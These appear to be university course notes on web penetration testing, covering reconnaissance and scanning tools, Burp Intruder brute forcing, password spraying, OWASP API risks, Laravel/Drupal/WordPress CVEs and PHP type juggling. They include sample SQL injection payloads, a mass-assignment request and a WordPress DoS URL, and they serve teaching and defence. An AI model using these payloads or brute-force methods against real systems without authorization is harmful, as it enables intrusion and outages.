SQLmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. You can see some of the features in this recording. asciicast

Further Reading

1. Burp
2. Burp Browser Configuration
3. Burp Proxy Configuration
4. Burp Certificate
5. SQL Cheat Sheet
6. SQL Payloads
7. SQLmap

Activities

1. Demo SQL Injection 2. Blacklist 3. Nightmare Store 4. One by one 5. T0p S3cr3t 6. Retrieve hidden data
7. Login bypass
8. Determine number of columns
9. Find column
10. Retrieve data from other tables
11. Single column
12. What version?
13. More versions
14. Conditional responses
15. Conditional errors
16. Time delays
17. Out-of-band Application Security Testing

5 -

Recon & Enumeration & Recap

When it comes to hacking, knowledge is power. The more knowledge you have about a target system or network, the more options you have available. This session will put together all you have learned so far to give you an overview of how to approach a given target you want to exploit. You will also find out about some more security tools that can help you automate the process.

Phases of Penetration Testing

Penetration testing is an authorized simulated cyber attack on a computer system, performed to evaluate its security.

A standard penetration testing flow implies 5 stages:

  1. reconnaissance - gathering information about the target system: website technologies, subdomains, open ports, Google hacking
  2. scanning - manually or automatically (using tools) discovering vulnerabilities in the system, like SQL injection, XSS etc.
  3. gaining access using enumeration - exploiting the vulnerabilities found before to collect sensitive information: usernames, machine names, network information, service settings
  4. maintaining access - planting hidden programs (like Trojan horses) that make a future attack easier
  5. covering tracks - cleaning up all the signs that may lead to thinking that an attack happened

Penetration testing phases

Next, we introduce some popular tools that may help in the first three phases, to gather information about a target. Exploiting Tools/ Security Testing Tools/ Penetration Testing Tools are used for the discovery of vulnerabilities without attempting to actually exploit them.

1. Reconnaissance

Reconnaissance is an important first stage in any ethical hacking attempt. Before it is possible to exploit a vulnerability in the target system, it is necessary to find it. By performing reconnaissance on the target, an ethical hacker can learn about the details of the target network and identify potential attack vectors.

Nmap

Nmap is probably the most well-known tool for active network reconnaissance. It is a network scanner designed to determine details about a system and the programs running on it.

Every computer has a total of 65535 available ports; however, many of these are registered as standard ports. For example, a HTTP web service can nearly always be found on port 80 of the server. A HTTPS web service can be found on port 443. If we do not know which of these ports a server has open, then we do not have a hope of successfully attacking the target; thus, it is crucial that we begin any attack with a port scan. Nmap can be used to perform many different kinds of port scan; the basic theory is this: it will connect to each port of the target in turn. Depending on how the port responds, it can be determined as being open, closed, or filtered (usually by a firewall). Once we know which ports are open, we can then look at enumerating which services are running on each port – either manually, or more commonly using nmap.

Typing the simple command nmap will display all of its options for scanning, while nmap <target> will convert the hostname to an IP address and scan the top 1000 TCP ports, displaying their state and the service running on it:

Nmap output

You can see the full example here and practice more Nmap options here.

Shodan

Shodan is a search engine similar to Google. But while Google searches for websites, Shodan searches for devices that are connected to the internet - from routers and servers, to Internet of Things (IoT) devices, such as thermostats and baby monitors, to complex systems that govern a wide range of industries, including energy, power, and transportation. You can use a variety of search filters: port, IP address, city etc. If your internet-facing devices aren’t protected, Shodan can tell hackers everything they need to know to break into your network.

2. Scanning

OWASP Zap

The Open Web Application Security Project (OWASP) is a nonprofit foundation that works to improve the security of software. The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications and is updated every 3 years.

Developed by OWASP, ZAP or Zed Attack Proxy is a multi-platform, open source web application security testing tool. ZAP is used for finding a number of security vulnerabilities in a web app during the development as well as testing phase. Other than its use as a scanner, ZAP can also be used to intercept a proxy for manually testing a web page. ZAP can identify:

  • Application error disclosure
  • Cookie not marked with the HttpOnly flag
  • Missing anti-CSRF tokens and security headers
  • Private IP disclosure
  • Session ID in URL rewrite
  • SQL injection
  • XSS injection

You can read about other active recon tools here: Nessus, OpenVAS, Nikto, Metasploit, Pentest-Tools Website Scanner.

3. Enumeration

Extracting common passwords - Burp Intruder

You were introduced to Burp Proxy in an earlier session. Now we’ll see an example of how to use Intruder in order to enumerate passwords. With Burp Intruder, customized attacks can be automated against web applications. Customizing attacks requires that we specify one or more payloads and the position where the payloads will be placed in the website.

  • I opened Burp and the built-in Chromium browser (or your browser of choice, but pay attention to setting up the proxy), having the intercept off.
  • I navigated to https://sss-ctf.security.cs.pub.ro/home and tried to log in using the email a@a.com and the password abc123.
  • The POST request can be found in HTTP history. Right click on it to send it to Intruder.

Send request to Burp Intruder

  • Let’s say we want to try all the passwords from abc1, abc3, abc5… to abc100. Navigate to the Positions tab - the payload position is specified with a pair of these characters: § called payload markers.

Note! By default, Burp surrounds by default some parameter values which might be candidates for enumeration, such as cookie values, or POST data values. Remove the extra § characters, leaving it like in the picture below.

Set payload position

  1. Our payload type (wordlist) is a sequence of numbers which can be automatically generated in Burp. Go to the Payloads tab and select Numbers as the Payload type.
  2. Fill in the Payload options to generate all the numbers from 1 to 100, with step 2 (1, 3, 5…).
  3. Finally, launch the attack.

Set payload type

A new window opens and you can see all the requests Burp is making, with the payloads you specified. For example, you can check the request corresponding to the payload 7, with the resulting password being abc7, and you can observe the response, its status code, or even open it in the browser.

Attack example

There are many ways in which you can customize this process according to your needs. You can have multiple payload positions and select from four attack types, specifying how to insert the payloads (one different wordlist for each position, or combinations of them). Find more details here.

  • Sniper - This uses a single set of payloads. It targets each payload position in turn, and places each payload into that position in turn. Positions that are not targeted for a given request are not affected - the position markers are removed and any enclosed text that appears between them in the template remains unchanged. This attack type is useful for fuzzing a number of request parameters individually for common vulnerabilities. The total number of requests generated in the attack is the product of the number of positions and the number of payloads in the payload set.
  • Battering ram - This uses a single set of payloads. It iterates through the payloads, and places the same payload into all of the defined payload positions at once. This attack type is useful where an attack requires the same input to be inserted in multiple places within the request (e.g. a username within a Cookie and a body parameter). The total number of requests generated in the attack is the number of payloads in the payload set.
  • Pitchfork - This uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20). The attack iterates through all payload sets simultaneously, and places one payload into each defined position. In other words, the first request will place the first payload from payload set 1 into position 1 and the first payload from payload set 2 into position 2; the second request will place the second payload from payload set 1 into position 1 and the second payload from payload set 2 into position 2, etc. This attack type is useful where an attack requires different but related input to be inserted in multiple places within the request (e.g. a username in one parameter, and a known ID number corresponding to that username in another parameter). The total number of requests generated in the attack is the number of payloads in the smallest payload set.
  • Cluster bomb - This uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20). The attack iterates through each payload set in turn, so that all permutations of payload combinations are tested. I.e., if there are two payload positions, the attack will place the first payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1; it will then place the second payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1. This attack type is useful where an attack requires different and unrelated or unknown input to be inserted in multiple places within the request (e.g. when guessing credentials, a username in one parameter, and a password in another parameter). The total number of requests generated in the attack is the product of the number of payloads in all defined payload sets - this may be extremely large.

There are also many different types of payloads you can use (here is the entire list), from specifying your own list of words to generating random bytes. You can find lists of popular credentials online, for instance, here is a repo with lists of most used passwords.

Testing for default credentials

Using the system’s default credentials is a relatively easy and popular technique to gain first access. The default non-random passwords that come with many devices (especially those in the Internet of Things) are frequently left untouched.

You can read more about this here. You can also find wordlists that have all the default credentials for most known vendors in one place, such as this one.

Types of brute force attacks

There are many different types of performing a brute force attack, but we will mention just three.

Dictionary attack

This is a straighforward technique and maybe the default one that comes to mind when trying to discover a set of (username, password) credentials. Given a wordlist of usernames and a wordlist of passwords, for all the usernames, all the passwords are tried.

Example:

usernames = [user1, user2]
passwords = [pass1, pass2]
We try, in this order: (user1, pass1), (user1, pass2), (user2, pass1), (user2, pass2)

Password-spray attack

This technique is a bit more complicated, but it is suitable for situations where we want to avoid username lockout. That is, when the target blocks us after a number of wrong attempts for a username and, for a certain period of time, we can’t make any more attempts.

Taking this into account, the process is as follows:

  • We take one password at a time and try all usernames for it (instead of taking a username and trying all passwords, like for Dictionary attack).
  • At the beginning we define a constant representing the maximum number of attempts to try the same username in a period.
  • After this limit is reached, we introduce a delay (which can be viewed as the lockout period) and perform a “sleep”.
  • After this, we resume the attack.

Example:

usernames = [user1, user2]
passwords = [pass1, pass2]
username_attempts_per_period = 1
lockout_period = 5
We try, in this order: (pass1, user1), (pass1, user2), sleep(5), (pass2, user1), (pass2, user2)

Credential Stuffing attack

Given a wordlist of usernames and a wordlist of passwords, this technique involves trying them in pairs. For each username, we try it with the password on the corresponding position. This usually implies that the wordlists are of the same length. The technique is suitable when using the default credentials wordlists, for example.

Example:

usernames = [user1, user2]
passwords = [pass1, pass2]
We try, in this order: (user1, pass1), (user2, pass2)

Web Content Discovery

Let’s say we have the target server https://security.cs.pub.ro/ and we want to discover hidden files, directories or other resources there. Manually, we would make multiple requests like https://security.cs.pub.ro/docs, https://security.cs.pub.ro/config.php etc. or whatever we imagine might find and see if we get a 404 Not Found response or not. Luckily, there are command line tools and predefined wordlists in Kali (/usr/share/wordlists/) doing exactly this for us.

DIRB

DIRB is a Web Content Scanner, a Kali built in tool. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analyzing the response. DIRB comes with a set of preconfigured attack wordlists for easy usage but you can use your custom wordlists. For each filename, it checks the existence on the web server and returns the results which do not give a 404 Not Found response.

Usage example: ./dirb <url_base> [<wordlist_file(s)>] [options]

DIRB example

The output lines with the results found (not 404) start with a + and give details about status code and page size.

You can read the documentation if you want to specify custom options, like custom file extensions to look for.

Similar tools

  • DirBuster - not maintained anymore, Kali built in, written in Java. The only one with a GUI and not a CLI.
  • DirSearch - Kali built in & on GitHub, written in Python.
  • GoBuster - Kali built in & on GitHub, written in Go. Can do DNS and VHost busting, S3 buckets enumeration.
  • wfuzz - on GitHub, written in Python, can be easily installed with pip.
  • ffuf - on GitHub, written in Go, has the option to mutate the files found. Can do VHost discovery.
  • Burp Intruder - also on the Commercial side.

You can find a detailed comparison here. We don’t recommend DirBuster and DirSearch since the others are newer, improved and better-maintained tools. DIRB is also not maintained anymore, but can come in handy if you want to do a quick content discovery, with not many options to configure.

Web Content Discovery vs Web Fuzzing

While these terms are interchangeable because the techniques and the goals are similar, let’s also break them down and establish some particularities.

Web Content Enumeration / Web Content Discovery / Web Content Scanning / Dirbusting / Directory brute forcing

All these synonyms indicate a clear purpose: discovering (hidden/juicy) files on a web server. They usually involve sending GET requests (or even HEAD, since it is faster and we are mainly interested in the returned status code). An input wordlist might usually sound like Common config filenames. Also, watch out for common filename extensions, such as .log for log files, .bak for backup files.

Web Fuzzing (Dirbusting++)

As a general term, fuzzing means sending random, unexpected payloads, to try to trigger unexpected behaviors, so we can add this to the attack goals. A web fuzzer tool generally allows for more customization:

  • we can try any HTTP method
  • we can insert the payload in more various location, even in the headers or POST body
  • the wordlist may include weird characters (e.g. non UTF-8, foreign languages), very long words etc.

Hard 404 vs Soft 404

You might be used to think that, when you make a request to a web server for a filename that doesn’t exist, it should return 404 Not Found. In reality, it is not always the case. Let’s see some different behaviors of websites when we try to make such a request. For starters: how do we know how to make a request with a filename that doesn’t exist? Well, this one is easy: we could just make a request with a very random filename, such as: http://example.com/jf31yrf7ugfr.

Hard 404

We call a hard 404 a non-existent page that returns the 404 Not Found HTTP code OR 410 Gone - this is also included, because it denotes a resource that is no longer available.

Soft 404

A soft 404 is a non-existent page that, when requested, returns… basically anything else besides 404 or 410. Some examples of what can be returned:

  • 200 OK and a custom 404 page
  • 3xx redirect to a login page / home page / other 200 OK page
  • 5xx server error
  • a WAF response may be triggered (e.g. by requesting some specific config files, such as .htaccess)

But we should also distinguish the situations where the page exists, but it redirects to the login page because you just have to be logged in to see it. But this usually happens for common pages, such as my-account, while the real website behavior can be determined by requesting a random filename, as mentioned earlier.

A takeaway from here is that real-world websites are very unpredictible and you can expect anything. :)

Also note that an enumeration / brute force / fuzzing attack implies sending many requests to a server, usually in parallel (using threads), in a short period of time. This stresses the server and it might become unresponsive, reply slower, trigger the WAF (sometimes in the middle of the attack) or even cause DoS.

Recap with DVWA

DVWA (Damn Vulnerable Web Application) is a deliberately vulnerable application which you can use to test your skills and exploit some of the most common web vulnerabilities, like XSS, SQL, LFI, with various difficulty levels.

Setup instructions

An easy way to deploy DVWA is by using Docker, which you need to have installed on your machine. Then, follow the instructions from here. After running it, you can simply access it in your browser at http://127.0.0.1:80 (or a different port, if you wish), login and start hacking.

Solutions

Further Reading

Wordlists

Bug Bounty Program Lists

Activities

  1. Not So Random
  2. Lamer Login
  3. DVWA
  4. Gin & Juice Shop

6 -

Introduction

Application programming interfaces (APIs) and frameworks have become a critical part of almost every business. APIs are responsible for transferring information between systems within a company or to external companies. API may be a system API or a library API. Here we talk about web APIs, i.e. APIs provided by web applications. APIs are means through which a client accesses remote services. For example, when you log in to a website like Google or Facebook, an API processes your login credentials to verify they are correct. A framework, or software framework, is a platform for developing software applications. It provides a foundation on which software developers can build programs for a specific platform. For example, a framework may include predefined classes and functions that can be used to process input, manage hardware devices, and interact with system software.

However, given the sensitive data being transferred through APIs, it’s critical to secure them. Moreover, from time to time people find vulnerabilities for versions of widely used frameworks, which puts numerous web apps at risk. Therefore, it’s best to be up to date and apply security patches as soon as a new vulnerability arises.

API Vulnerabilities

By nature, APIs expose application logic and sensitive data such as Personally Identifiable Information (PII) and because of this have increasingly become a target for attackers. PII is any data that could potentially be used to identify a particular person. Examples include a full name, Social Security number, driver’s license number, bank account number, passport number, and email address.

Broken Object Level Authorization

An object refers to a data source that is associated with an authenticated entity. Object-level authorization is all about controlling access based on the scope of permissible user data and object access. A simple physical world example is a hotel room key which is coded to only open the room you paid for, as opposed to a master key used by a maid that opens all the rooms on the floor. Attackers can exploit API endpoints that are vulnerable to broken object level authorization by manipulating the ID of an object that is sent within the client request. What this means is that the client can request information from an API endpoint that they are not supposed to have access to. This attack normally leads to unauthorized information disclosure, modification, or destruction of data.

Example Attack Scenario:

Say for instance there is an e-commerce platform that provides financial and hosted services to a group of different online stores (shops). The platform provides an API used to gain access to revenue charts for each of their hosted stores, and each store should only have access to their own revenue charts. However, while inspecting the client request from a single store that wants to gain access to their own revenue charts, an attacker can identify (find) the API endpoint for those revenue charts and identify the URL in use, for example /shops/{shop name}/revenue_data.json. Using the names of other stores being hosted on the e-commerce platform, an attacker can create a simple script to modify the {shop name} ID object in subsequent requests, and gain access to the revenue charts of every other store.

Broken Authentication

Being different from Authorization discussed above, Authentication on the other hand is a complex and confusing mechanism concerning APIs. Since authentication endpoints are exposed to anyone by design, the endpoints that are responsible for user-authentication must be treated differently from regular API endpoints and implement extra layers of protection for credential stuffing attempts, in addition to brute force password and token guessing attacks.

Example Attack Scenario:

Suppose that an attacker obtained a list of leaked username/password combinations as the result of a data breach from another organization. If the API endpoint handling authentication does not implement brute force or credential stuffing protections like CAPTCHA, rate-limiting, account lockout, etc., an attacker can repeatedly attempt to gain access using the list of username/password combinations to determine what combination(s) work.

Excessive Data Exposure

By design, API endpoints often expose sensitive data since they frequently rely on the client app to perform data filtering. Attackers exploit this issue by sniffing the traffic to analyze the responses, looking for sensitive data that should not be exposed. This data is supposed to be filtered on the client app, before being presented to the user.

Example Attack Scenario:

Imagine that an IoT-based camera surveillance system allows administrators to add a newly-hired security guard as a system user, and the administrator wants to ensure the new user should only have access to certain cameras. These cameras are accessible via a mobile app that the security guard uses while at work. The newly hired security guard’s mobile app makes an API request to an endpoint in order to receive data about the cameras, and relies on the mobile app to filter which cameras the guard has access to. Although the mobile app only shows the cameras the guard can access, the actual API response contains a full list of all the cameras. Using the sniffed traffic, an attacker can manipulate the API request to show all cameras, bypassing the filtering on the mobile app.

Lack of Resources & Rate Limiting

It is common to find API endpoints that do not implement any sort of rate limiting on the number of API requests, or they do not limit the type of requests that can consume considerable network, CPU, memory, and storage resources. The amount of resources required to satisfy a request greatly depends on the user input and endpoint business logic. Attackers exploit these issues causing denial-of-service attacks and associated endpoint outages.

Example Attack Scenario:

Let’s say that an attacker wants to cause a denial-of-service outage to a certain API that contains a very large list of users. The users’ list can be queried, but the application limits the number of users that can be displayed to 100 users. A normal request to the application would look like this: /api/users?page=1&size=100. In this case, the request would return with the first page and the first 100 users. If the attacker changed the size parameter from 100 to 200000, it could cause a performance issue on the backend database, since the size parameter in use is so large. As a result, the API becomes unresponsive and is unable to handle further requests from this or any other client.

Broken Function Level Authorization

Although different from Broken Object Level Authorization (described above), exploitation of this issue requires the attacker to send API requests to endpoints that they should not have access to, yet are exposed to anonymous users or regular, non-privileged users. These types of flaws are often easy to find and can allow attackers to access unauthorized functionality. For example, administrative functions are prime targets for this type of attack.

Example Attack Scenario:

To illustrate this further, imagine that during the registration process to a certain application that only allows invited users to join, the mobile app triggers an API request to GET /api/invites/{invite_guid}. GET is a standard HTTP method used to request information from a particular resource. In this case, the response to the GET contains details about the invite, including the user’s role and email address.

Now, say that an attacker duplicated the request and manipulated the HTTP method by changing GET to POST. POST is a HTTP method used to send information to create or update a resource. The URL would look like this: POST /api/invites/new/{“email”:”hugo@malicious.com”,”role”:”admin”}. In this case, the attacker easily exploits this issue and sends himself an email invite to create an admin account.

Mass Assignment

Modern frameworks encourage developers to use functions that automatically bind input from the client into code variables and internal objects. What this means is that users should have the ability to update their username, contact details, etc. (within their profiles for example), but they should not be able to change their user-level permissions, adjust account balances, and other administrative-like functions. An API endpoint is considered vulnerable if it automatically converts the client input into internal object properties, without considering the sensitivity and the exposure level of these properties. This could allow an attacker to update things that they should not have access to.

Example Attack Scenario:

To illustrate this further, imagine that a ride sharing application provides the user the option to edit basic information about themselves in their user profile. For example, they can adjust their username, age etc. In this case, the API request would look like this: PUT /api/v1/users/me with the following legitimate information:

{"username":"john","age":24}

However, the attacker determines that the request GET /api/v1/users/me includes an additional credit_balance property (field) as shown below.

{"username":"john","age":24,"credit_balance":10}

The attacker desires to increase their credit balance on their own and replays the first request with the following payload:

{"username":"john","age":24,"credit_balance":99999}

Since the endpoint is vulnerable to mass assignment, the attacker can easily adjust their own credit_balance at will, for example changing it from 10 credits to 99999 as shown above.

Security Misconfiguration

Attackers will often attempt to find unpatched flaws, common endpoints, or unprotected files and directories to gain unauthorized access or knowledge of the system they want to attack. Security misconfigurations can not only expose sensitive user data, but also system details that may lead to full server compromise.

Example Attack Scenario:

Say for instance that an attacker uses a popular search engine like Shodan to search for computers and devices directly accessible from the Internet. The attacker found a server running a popular database management system, listening on the default TCP port. The database management system was using the default configuration, which has authentication disabled by default, and the attacker gained access to millions of records with PII, personal preferences, and authentication data.

Injection

Injection flaws, such as SQL, NoSQL, command injection, etc., occur when untrusted data is sent to an interpreter as part of a command or query. Injection vulnerabilities cause computing systems to potentially process malicious data that attackers introduce. To put it in its simplest terms, attackers inject code into a vulnerable piece of software and change the way the software is intended to be executed. As a result, injection attacks can be somewhat disastrous, since they normally lead to data theft, data loss, data corruption, denial of service, etc.

Example Attack Scenario:

Suppose an attacker starts inspecting the network traffic of their web browser and identifies the following API request designed to help a user recover their password. The attacker identifies the request responsible to start the recovery-password process as follows:

POST /api/accounts/recovery {“email”: “john@somehost.com”}

Then the attacker replays the request with a different payload:

POST /api/account/recovery {“email”: “john@somehost.com’;WAITFOR DELAY ‘0:0:5’–“}

By adding the ;WAITFOR DELAY ‘0:0:5’–” the attacker observes that the response from the API took ~5 seconds longer, which helps confirm the API is vulnerable to SQL injection. Exploiting the injection vulnerability, the attacker was able to gain unauthorized access to the system.

Improper Assets Management

Old API versions are often unpatched and can become an easy way to compromise systems without having to fight state-of-the-art security systems, which might be in place to protect the most recent API versions. Attackers may gain access to sensitive data, or even take over the server through old, unpatched API versions connected to the same database.

Example Attack Scenario:

Say for instance that an organization redesigning their applications forgot about an old API version (api.someservice.com/v1) and left it unprotected, and with access to the user database. While targeting one of the latest released applications, an attacker found the API address (api.someservice.com/v2). Replacing v2 with v1 in the URL gave the attacker access to the old, unprotected API, exposing the personal identifiable information (PII) of millions of users.

Insufficient Logging & Monitoring

Without logging and monitoring, or with insufficient logging and monitoring, it is almost impossible to track suspicious activities targeting APIs and respond to them in a timely fashion. Without visibility over ongoing malicious activities, attackers have plenty of time to potentially compromise systems and steal data. Most breach studies demonstrate the time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.

Example Attack Scenario:

Imagine that a video-sharing platform was hit by a “large-scale” credential stuffing attack. Despite failed logins being logged, no alerts were triggered during the timespan of the attack, and it proceeded without being noticed. As a reaction to user complaints about a possible breach, API logs were analyzed and the attack was detected, way after the fact. The company had to make a public announcement asking users to reset their passwords, and report the incident to their regulatory authorities.

Framework Vulnerabilities

Web application framework is a collection of pieces of software designed to ease the development of web applications. Web application frameworks provide common solutions for a wide variety of tasks such as database access, input filtering for security purposes, authentication, session handling and templates for website development.

There are several different types of web application frameworks:

  • General purpose website frameworks (Ruby On Rails, ExpressJS, Django, Flask)
  • Discussion forums, wikis and weblogs (WikiBase/WikiWikiWeb)
  • Organizational portals (JBoss Portal)
  • Content Management Systems (CMS) (Joomla, Drupal, Wordpress)

When performing a security audition (or hacking) of a website it is necessary to identify the implementation technologies of the target. This identification can be done manually or more commonly using automated tools, such as BuiltWith and Wappalyzer. Once the web application framework is detected further penetration steps depend on the framework. Quite a few websites are done with CMSs and contain no application-specific custom code. For these applications, identifying the CMSs modules used and their version is necessary. This information can be used further to search for vulnerabilities or perform a manual code inspection of the modules used. Finding a security flaw usually means that the website has not been properly updated. If a manual inspection of CMS modules reveals vulnerabilities, it is very likely that these modules are used in other websites, which makes them vulnerable as well.

The most widely used web Frameworks provide lots of security mechanisms by default - for example, Django provides protection for SQL injection, XSS injection, clickjacking and many more. However, from time to time vulnerabilities are found and attackers have numerous possible targets, since some of these frameworks are extremely popular.

The rest of the section contains examples of vulnerabilities found in various framework versions.

Laravel

Laravel is one of the most preferred PHP Frameworks for Web Development.

In 2019 a vulnerability was found for the popular Laravel-query-builder package. Due to the way Laravel builder parses the string to query, the hacker can leverage this to attack the application with an SQL Injection attack.

The package is parsing the URLs to add some filters to the queries.

For example, if you want to sort the articles by title:

https://example.com/articles?sort=title

You may use the following code to automatically sort by the package:

use Spatie\QueryBuilder\QueryBuilder;
$articles = QueryBuilder::for(Article::class)->get();

This will be translated into:

Article::orderBy('title')->get();

And the underlined SQL query will be:

SELECT * FROM 'articles' ORDER BY 'title' ASC

The attacker can take advantage of this transformation to perform an SQL Injection attack, by changing the URL to:

https://example.com/articles?sort=title->"%27))injectedSQL

Since Laravel supports queries in JSON fields, it will guess that you want to query json title-> so it replaces -> with JSON MySQL functions. The attacker closes the function brackets )) and adds his injected SQL.

The final command:

SELECT * FROM articles ORDER BY json_unquote(json_extract(title, '$.""'))injectedSQL"')) ASC

Vulnerable versions:

Laravel 5.6/5.7/5.8 with Laravel-query-builder < v1.17.1 Laravel 5.5 with Laravel-query-builder < v1.16.1

Drupal

Drupal is a free and open-source web content management framework written in PHP. Drupal provides a back-end framework for at least 2.3% of all websites worldwide – ranging from personal blogs to corporate, political, and government sites. According to builtwith.com, 473 of the Quantcast top 10,000 websites use Drupal, and that number jumps up to 4,341 when you look at the top 100,000.

Drupal introduced a Form API in Drupal 6 which allowed alteration of the form data during the form rendering process. In 2018, Drupal released a patch adding just a single class, RequestSanitizer, with a stripDangerousValues method that resets all the items in an input array for keys that start with a hash sign. This method sanitizes input data in $_GET, $_POST and $_COOKIES during the very early stages of Drupal’s bootstrap (immediately after loading the site configurations). It can be assumed that the reason why the patch was released is to make an existing vulnerability harder to find.

The vulnerability was found in the forms. The user registration form which requires no authentication and can be accessed anonymously contains multiple input fields and can be exploited.

Form Fields

It was highly probable that injecting a renderable array would exploit the vulnerability, the question was where?

As it turns out, the “Email Address” field doesn’t sanitize the type of input it receives which allows hackers to inject the renderable array to the form array structure. Renderable arrays contain metadata that is used in the rendering process.

Injected Array

Since Drupal treats the injected array as a value and not as an element, attackers need to trick Drupal into rendering it. Drupal renders an array on page load events or via Drupal AJAX API.

The “Picture” field of the user registration form uses Drupal’s AJAX API to upload a picture and replace it with a thumbnail of the uploaded image.

What’s more important about this attack is that a Russian Security Researcher posted a POC on Github and soon after numerous people started using it to install cryptocurrency miners and malware backdoors.

Vulnerable versions:

Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, attacking account/mail & #post_render parameter, using PHP’s passthru function Drupal < 7.58 ~ user/password URL, attacking triggering_element_name form & #post_render parameter, using PHP’s passthru function

WordPress

Details of a serious Denial of Service (DoS) vulnerability in WordPress have been published by an Israeli security researcher named Barak Tawily. This vulnerability can be used to take down a website in a matter of minutes.

The vulnerability is listed on the CVE (Common Vulnerabilities and Exposures) website as CVE-2018-6389 and on Exploit DB as exploit number 43968. Barak Tawily first wrote about it on February 5, 2018 on his blog.

This issue is related to a file called load-scripts.php, which is a part of the WordPress core. This file is used to improve the performance by loading multiple external JavaScript (JS) files in a single request.

Barak first noticed the problem when he saw an unusual URL that was loading when he visited certain WordPress pages. That URL was:

https://DOMAINNAME/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

He noticed that the load-scripts.php file was receiving a parameter called load[]. This parameter is an array that was receiving the names of the JS files that needed to be loaded. In this case, it was receiving jQuery UI Core, which is the name of one of the Javascript files used by the WordPress login page.

Because WordPress is an open source platform, it was simple for Barak to review the application’s code and determine precisely how WordPress loaded these files. He discovered that load-scripts.php file was designed to economize the loading of external JS files. Another file, called load-styles.php, was doing the same thing for Cascading Style Sheet (CSS) files.

This feature allowed the browser to receive multiple files with a single request, dramatically improving the load time of each admin page. Although it was only designed for use on admin pages, it was also being used on the login page — before the user had been authenticated. This oversight is responsible for the vulnerability.

He continued to explore the source code of WordPress and discovered that there is a variable that contains a defined list of scripts that can be loaded. If one of the names in the load[] array matches one of these script names, the server will perform an I/O read action to load it. The list of scripts that are available is defined in a file called script-loader.php. It includes 181 different scripts. The server took ~2.2 seconds to gather the files, merge them into one file, and send them to the browser. After performing 500 requests, the server was overloaded and became unable to respond to subsequent requests. He posted a video showing how quickly it could be used to take down a WordPress website.

WPScan

The WPScan CLI tool is a free, for non-commercial use, black box WordPress security scanner written for security professionals and blog maintainers to test the security of their sites. The WPScan CLI tool uses a database of WordPress vulnerabilities - from WordPress versions, plugins, themes etc.

Further Reading

Activities

7 -

Introduction

As a web developer, you need to pay attention to the quirks of your chosen programming language. There are lots of vulnerabilities generated by the developer’s disregard to language-specific details or just by programming mistakes.

The most common server-side language on the web today is still PHP. There are lots of legacy websites which used this language to begin with, and a complete refactor is just not worth it. Today, even if there are better options for the server-side choice, PHP is still pretty popular.

Server Side Languages Popularity

Source here.

There are also lots of different PHP versions, each with its own vulnerabilities. A small insight into the distribution of versions across the web is:

PHP Versions Popularity

Source here.

In this session we will focus on some exotic attacks against specific PHP functions and functionalities, as well as a quick overview of other interesting quirks.

PHP Type Juggling

Much like Python and Javascript, PHP is a dynamically typed language. This means that variable types are checked while the program is executing. For example, let’s take a variable called $var. If we assign a string value to it, it becomes a string. If an integer value is then assigned to $var, it becomes an integer.

Dynamic typing allows developers to be more flexible when using PHP. But this kind of flexibility sometimes causes unexpected errors in the program flow and can even introduce critical vulnerabilities into the application.

In this section we will discuss PHP type juggling and how this can lead to authentication bypass vulnerabilities.

Type Juggling examples

How PHP compares values

PHP has a feature called “type juggling” or “type coercion”. This means that during the comparison of variables of different types, PHP will first convert them to a common, comparable type.

For example, when the program is comparing the string "7" and the integer 7 in the scenario below:

<?php
    $example_int = 7;
    $example_str = "7";
    if ($example_int == $example_str) {
       echo("PHP can compare ints and strings.");
    }
?>

The code will run without errors and output PHP can compare ints and strings.. This behavior is very helpful when you want your program to be flexible in dealing with different types of user input.

However, it is also important to note that this behavior is also a major source of bugs and security vulnerabilities.

For example, when PHP needs to compare the string "7 puppies" to the integer 7, PHP will attempt to extract the integer from the string. So this comparison will evaluate to True.

("7 puppies" == 7) -> True

But what if the string that is being compared does not contain an integer? The string will then be converted to a "0". So the following comparison will also evaluate to True:

("Puppies" == 0) -> True

You can try this yourself using an online PHP sandbox, such as this one.

Loose Comparison vs. Strict Comparison (== vs ===)

The == and != are the default comparison operators in other languages. But PHP has two main comparison modes, let’s call them loose (== and !=) and strict (=== and !==).

The strict mode works by also comparing the type of the variable as well as the value. So, for example, if we compare the number 7 and the string "7", the result will be false because of the different types. This time, PHP won’t use type juggling before comparing the values.

The following tables showcase the difference between the two comparison modes:

Loose comparisonStrict comparison
Loose comparisonStrict comparison

However, loose type comparison behavior like the one presented above is pretty common in PHP and many built-in functions work in the same way. You can probably already see how this can be very problematic, but how exactly can hackers exploit this behavior?

How vulnerability arises

The most common way that this particularity in PHP is exploited is by using it to bypass authentication. Let’s say the PHP code that handles authentication looks like this:

<?php
    if ($_POST["password"] == "Admin_Password") {
        login_as_admin();
    }
?>

Then, simply submitting an integer input of 0 would successfully log you in as admin, since this will evaluate to True:

(0 == "Admin_Password") -> True

Conditions of exploitation

However, this vulnerability is not always exploitable and often needs to be combined with a deserialization flaw. The reason for this is that POST, GET parameters and cookie values are, for the most part, passed as strings or arrays into the program.

If the POST parameter from the example above was passed into the program as a string, PHP would be comparing two strings, and no type conversion would be needed. And "0" and "Admin_Password" are, obviously, different strings.

("0" == "Admin_Password") -> False

However, type juggling issues can be exploited if the application accepts the input via functions like json_decode() or unserialize(). This way, it would be possible for the end-user to specify the type of input passed in.

{"password": "0"} {"password": 0}

Consider the above JSON blobs. The first one would cause the password parameter to be treated as a string whereas the second one would cause the input to be interpreted as an integer by PHP. This gives an attacker fine-grained control of the input data type and therefore the ability to exploit type juggling issues.

Avoiding type juggling issues in PHP code

As a developer, there are several steps that you can take to prevent these vulnerabilities from happening.

Use strict comparison operators

When comparing values, always try to use the type-safe comparison operator === instead of the loose comparison operator ==. This will ensure that PHP does not type juggle and the operation will only return True if the types of the two variables also match. This means that (7 === "7") will return False.

Specify the “strict” option for functions that compare

